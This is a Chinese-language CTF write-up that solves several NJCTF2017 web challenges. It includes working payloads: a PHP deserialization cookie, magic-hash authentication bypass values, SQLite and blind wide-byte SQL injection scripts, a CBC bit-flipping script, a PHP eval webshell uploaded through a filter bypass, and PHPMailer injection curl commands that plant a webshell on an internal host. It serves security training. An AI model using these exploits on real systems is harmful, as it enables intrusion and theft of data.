1. 程式人生 > >NJCTF2017 Web Writeup

NJCTF2017 Web Writeup

獲取 ack 轉換運算符 管理員 wid sel username 強制 -i

一個登陸和註冊的功能,開始以為是註入,發現並不行。
後來嘗試了下弱口令

1 2 username:admin password:admin123

結果登錄成功了。。
技術分享
其實正解是註冊時註冊用戶為
admin後跟很多很多空格之後加個a
就是註冊時拼接到數據庫時有長度限制
一開始測試不成功是因為空格太少了,尷尬


Get Flag

看起來是一個搜索圖片的框
技術分享
輸入1.jpg後在返回頁面查看源碼,發現被base64加密過
技術分享
那麽我直接讀../../../../../../etc/passwd試試
解base64發現確實可以讀到
猜測可能直接執行了cat命令,那麽構造

1 ../../../../../../etc/passwd & ls ./

可以列出目錄
最後找到flag在../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
然後直接讀就好了


Text wall

存在.index.php.swo
給出了部分源碼

1 2 3 4 5 6 7 8 9 10 <?php $lists = []; Class filelist{ public function __toString() { return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);
} } ........ ?>

submit後發現cookie中存在序列化的東西
技術分享
應該是一個反序列化的漏洞
結果找到了原題
構造腳本
(註意前面是40位隨機值,所以將md5改為sha1)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <? Class filelist{ public function __toString() { return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);
} } $foo = new filelist(); $foo->source = ‘index.php‘; $bar = []; $bar[] = $foo; //這裏是一個數組,tostring時其實可以返回數組內的所有文件 $m = serialize($bar); $h = sha1($m); echo $h.$m; //這裏註意不需要urlencode ?>

得到

1 f3a6de2497f71356a3995e26a1f4f64ae48e80b1a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}

然後修改cookie刷新頁面後
技術分享
最終payload為

1 579574889b2cc082443598ee85d9a4839698a948a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}}


Wallet

進入admin.php發現cookie中有auth和hsh
默認是auth=0,hsh=b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
hsh拿cmd5解密後是0的sha1值
於是嘗試auth=1,hsh=356a192b7913b04c54574d18c28d46e6395428ab (這是1sha1值)
發現並沒有什麽作用,還是
技術分享
後來提示壓縮包密碼為弱口令
存在www.zip
裏面是admin.php
試出來密碼是njctf2017
admin.php直接查看有很多亂碼,應該是被加密過
有個php在線解密網站
在線phpjm解密 下再美化下。。
獲得源碼

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php require_once "db.php"; $auth = 0; if (isset($_COOKIE["auth"])) { $auth = $_COOKIE["auth"]; $hsh = $_COOKIE["hsh"]; if ($auth == $hsh) { $auth = 0; } else { if (sha1((string) $hsh) == md5((string) $auth)) { $auth = 1; } else { $auth = 0; } } } else { $auth = 0; $s = $auth; setcookie("auth", $s); setcookie("hsh", sha1((string) $s)); } if ($auth) { if (isset($_GET[‘query‘])) { $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY); $qstr = SQLITE3::escapeString($_GET[‘query‘]); $query = "SELECT amount FROM my_wallets WHERE id={$qstr}"; $result = $db->querySingle($query); if (!$result === NULL) { echo "Error - invalid query"; } else { echo "Wallet contains: {$result}"; } } else { echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name=‘input‘ action=‘admin.php‘ method=‘get‘>Wallet ID: <input type=‘text‘ name=‘query‘><input type=‘submit‘ value=‘Submit Query‘></form></body></html>"; } } else { echo "Sorry, not authorized."; }

要想auth=1,關鍵點是使

1 sha1((string) $hsh) == md5((string) $auth)

搜到一篇文章:魔術哈希
問題出在==符號
當哈希值以0e開頭是,並且後面都是數字時,會被認為是0(科學計數法)
0==0時當然成立

1 2 md5(240610708) = 0e462097431906509019562988736854 sha1(10932435112) = 0e07766915004133176347055865026311692244

那麽去構造cookie:auth=240610708,hsh=10932435112
成功進去了
技術分享
然後就是sqlite註入了
隨便找了篇sqlite的文章
關鍵是找到sqlite_master裏的東西就行了
payload為

1 http://218.2.197.235:23723/admin.php?query=-1 union select id from flag


Blog

ruby web 雖然有源碼
貼上學長的思路
技術分享
技術分享
技術分享
有一個admin參數
但在黑盒審計的時候是沒有的
接著看表定義
技術分享
那麽這個邏輯就是如果沒有這個值就不是管理員啰
技術分享
註冊的時候帶 user[admin]=1 參數
用這個參數登陸
應該遍歷完所有用戶就可以找到上面圖裏的flag了


Pictures’ wall

一開始直接admin admin登錄進去嚇一跳
後來在upload界面看到
技術分享
又去試root root 又進去了,驚了!
後來才知道這題沒驗證密碼。。
進入upload後但是還是返回上圖結果
改了半天http頭的各種參數還是沒什麽用
後來登錄的時候把host改為127.0.0.1就行了
技術分享
再進入index.php?act=user可以看到
技術分享
然後上傳唄
返回各種
技術分享
發現文件後綴名為.phtml時會有其他回顯
並且上傳一般字符可以上傳成功並且會產生一個phtml文件
然後文件內容存在<?php?>之類的會有
技術分享
或者
技術分享
嘗試使用

1 <script language="php">

並沒有被過濾,於是構造

1 <script language="php"> @eval($_POST[c014])</script>

技術分享
成功getshell
技術分享
payload

1 c014=system(‘cat ../../AOvU7WJDRTxn1tv2g56SJLpJK1l7EmBi_thi5_flag‘);

上傳漏洞一些要點


Be admin

存在index.php.bak
cbc反轉加密
還需要配合sql註入
貼上隊友的腳本

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #! /usr/bin/env python # -*- coding: utf-8 -*- import base64 import requests import urllib aa = ‘)\xa5\xa1\xec>)F\x119\xbc\xfcor\x11\xd9\xa4‘ url = "http://218.2.197.235:23737/" cookie = {"PHPSESSID":"qe6s9hjkpqrfcv07hf1ous71m7"} iv = ["\x00"]*16 cipher = [‘\x00‘, 236, 46, 92, 100, 49, 71, 211, 255, 106, 69, 3, 16, 13, 233, 54] plain = "admin" plain += 11*chr(11) plain = list(plain) # for i in xrange(16,17): # for j in xrange(1,i): # iv[16-i+j] = chr(cipher[16-i+j] ^ i) # for x in xrange(218,256): # iv[16-i] = chr(x) # tmp_iv = "".join(iv) # cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_iv)) # print cookie # try: # r = requests.get(url, cookies=cookie) # print "%s"%x, r.content # except: # print cipher # print x # exit(); # if "ctfer!" in r.content: # break # else: # print cipher # exit(); # cipher[16-i] = x ^ i # break # print cipher # for x in cipher: # print hex(x) plain = [‘a‘, ‘\x88‘, ‘C‘, ‘5‘, ‘\n‘, ‘:‘, ‘L‘, ‘\xd8‘, ‘\xf4‘, ‘a‘, ‘N‘, ‘\x08‘, ‘\x1b‘, ‘\x06‘, ‘\xe2‘, ‘=‘] for x in xrange(193,256): plain[0] = chr(x) tmp_p = "".join(plain) cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_p)) r = requests.get(url, cookies=cookie) print x print r.content

不過經常跑到最後幾位就跑不出來。。很是蛋疼


Come on

是一道寬字節註入題
註入時註意把#換成%23
通過測試發現很多都被過濾了
我發現可用有 || 和 strcmp函數等
strcmp(str1,str2):對比兩個字符串str1和str2,如果兩字符串相等,返回0;如果當前的排序規則,str1小於str2,則返回-1,反之則都返回1.
而且不能用單雙引號,那麽就用16進制表示
後來又坑了半天,原來是空格被過濾了
直接貼上讀flag的腳本

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # -*- coding:utf-8 -*- import requests import binascii def get_flag(): flag = "" for i in range(0,100): print i url = "http://218.2.197.235:23733/index.php?key=1%df%27 || length((select(flag)from(flag)))="+str(i)+" %23" # length((select table_name from information_schema.tables where table_schema = database())) r = s.get( url = url ) if "002265" in r.content: length = i print "flag length:"+str(i) break for i in range(1,length+1): print i for j in range(33,127): url = "http://218.2.197.235:23733/index.php?key=1%df%27 || strcmp(left((select(flag)from(flag)),"+str(i)+"),"+"binary(0x"+flag+binascii.b2a_hex(chr(j))+"))=0 %23" r = s.get( url = url ) if "002265" in r.content: print "Ok!" flag = flag + binascii.b2a_hex(chr(j)) print flag print binascii.a2b_hex(flag) break print binascii.a2b_hex(flag) if __name__ == ‘__main__‘: get_table()

有個binary,不加的話大小寫會混亂。
binary不是函數,是類型轉換運算符,它用來強制它後面的字符串為一個二進制字符串,可以理解為在字符串比較的時候區分大小寫
如下圖
技術分享


Chall I & II

有原題
題目有改動
在nodejs中,如果字符串中全是數字,字符串就會變成數字
具體做法見http://lorexxar.cn/2017/03/13/njctf2017-wp/


Guess

一個上傳頁面,上傳後會跳到?page=upload
試了下可以用php偽協議讀取源碼,如圖
技術分享
可以讀index.php 和upload.php
關鍵代碼是這幾段
技術分享
跟以前hctf的一道題:兵者多詭很像,不過是不知道文件名,需要來爆破
準備一個zip壓縮包,改為png後綴,上傳成功
技術分享
查看代碼,註意這裏
技術分享
session_id()其實是可控的,上傳時設置PHPSESSID=;
根據返回的SESSI0N=6745534f42a1df76ae3e07e578fe5d85;
用php_mt_seed工具爆破出種子
然後就可以得到文件名了
32位隨機值腳本如下

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php mt_srand(712974944); echo mt_rand()."\n"; function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ‘‘; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } echo random_str()."\n"; ?>

然後就是hctf的做法了
這題之前有個疑問是構造文件名為../../之類的上傳可以上傳成功,但是並找不到文件


Be logical

登錄進去後發現有一個錢和積分相互買的功能而且是1:1
用錢換回積分時有個url如

1 http://218.2.197.235:23739/refundprocess.php?comment=&id=4557&username=c014cccc&points=123&money=123

直接修改points=1234這類情況時會返回
技術分享
但是修改points=123e10發現可以成功
然後去買service,進入後是
技術分享
是ImageMagick(CVE-2016-3714)漏洞,和利用poc
然後上傳後getshell
技術分享
但是並沒有發現flag
ifconfig發現存在內網
技術分享
於是進行內網滲透
存在172.17.0.19
技術分享
是一個發郵件的頁面,想到才爆出不久的PHPMailer漏洞,和利用poc
而且有一個/uploads/目錄
技術分享
構造

1 curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘ls ..‘);?>&submit=Send email" http://172.17.0.19/index.php

然後curl http://172.17.0.19/uploads/c014.php
得到文件名

1 curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014c.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘cat ../flaaaaaaag.php‘);?>&submit=Send email" http://172.17.0.19

curl http://172.17.0.19/uploads/c014c.php即可獲取flag
技術分享

NJCTF2017 Web Writeup